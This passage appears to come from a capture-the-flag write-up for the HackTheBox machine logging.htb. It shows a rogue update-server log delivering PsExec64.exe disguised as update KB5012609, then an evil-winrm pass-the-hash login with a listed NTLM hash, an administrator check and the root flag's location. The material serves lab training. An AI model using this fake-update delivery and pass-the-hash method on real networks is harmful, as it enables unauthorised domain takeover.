──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
08:09:11 10.129.34.217 ReportEventBatch VMware, Inc. VMware7,1 OK
08:09:23 10.129.34.217 GetConfig
08:09:24 10.129.34.217 GetCookie
08:09:24 10.129.34.217 RegisterComputer Windows Server 2019 Standard build 17763 arch AMD64 -> KB5012609
08:09:25 10.129.34.217 SyncUpdates KB5012609 -> PsExec64.exe
08:09:25 10.129.34.217 GetExtendedUpdateInfo KB5012609
08:09:35 10.129.34.217 FileDownload connection reset (client may retry)
08:09:36 10.129.34.217 FileDownload 813 KB -> PsExec64.exe
Now connect with evil-winrm:
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
whoami /all
We see that we are now part of the administrators group.
We can get the root flag in C:\Users\toby.brynleigh\Desktop\root.txt. The user toby.brynleigh is also an administrator.